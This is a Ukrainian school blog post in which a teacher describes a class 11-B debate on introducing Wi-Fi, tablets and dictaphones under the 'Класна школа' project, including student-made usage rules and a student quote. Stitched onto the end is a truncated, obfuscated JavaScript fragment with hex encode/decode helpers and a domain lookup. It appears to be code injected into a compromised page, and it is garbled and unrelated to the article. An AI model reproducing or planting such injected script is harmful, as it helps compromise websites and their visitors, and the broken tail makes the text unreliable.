Дебати в 11-Б класі проводилися в 2 етапи. Напередодні я розповіла учням про проект, основні принципи і завдання Класної школи. Кожен мав можливість обдумати і запропонувати ті новітні технології, які хотів би бачити в нашій школі, після чого ми працювали в парах і групах і визначили більшістю голосів 5 ІКТ,які допоможуть зробити нашу школу класною. Зміст ІІ етапу заключався в тому, щоб виявити всі плюси і мінуси наших пропозицій і виробити саме такі правила,які б дозволити реалізувати принципи Класної школи. Дискусія відбулася 9 листопада, нас було тільки восьмеро, але, я вважаю, робота була плідною.
Учні об’єдналися в дві групи, і кожна намагалася знайти якомога більше плюсів і мінусів запровадження запропонованих технологій в шкільний процес. Щоб було цікавіше, добавили трішки креативу. Серед багатьох пропозицій для обговорення ми обрали Wi-Fi, планшети та диктофони.
Перш за все, одноголосно було вирішено використовувати всі ІКТ лише з користю для свого навчання, з дозволу вчителя та не заходити на заборонені сайти (наприклад, ГДЗ або соціальні мережі).
“Я думаю, Класна школа – це дуже цікавий проект як для учнів, так і для вчителів. Але навіть правила, які ми придумуємо самі – не легкі; виконувати їх буде непросто”,- висловила свою думку одна з учасниць Войтович Наталя.
Напевно, найбільше суперечок виникало, коли звучали пропозиції поставити пароль на Wi-Fi. Участь кожного учня в обговоренні – це насправді дуже великий внесок в створення Кодексу. Я думаю, всі погодяться, що ми не тільки провели час весело і цікаво, а ще й з користю для кожного.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "klasnashkola.eu"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e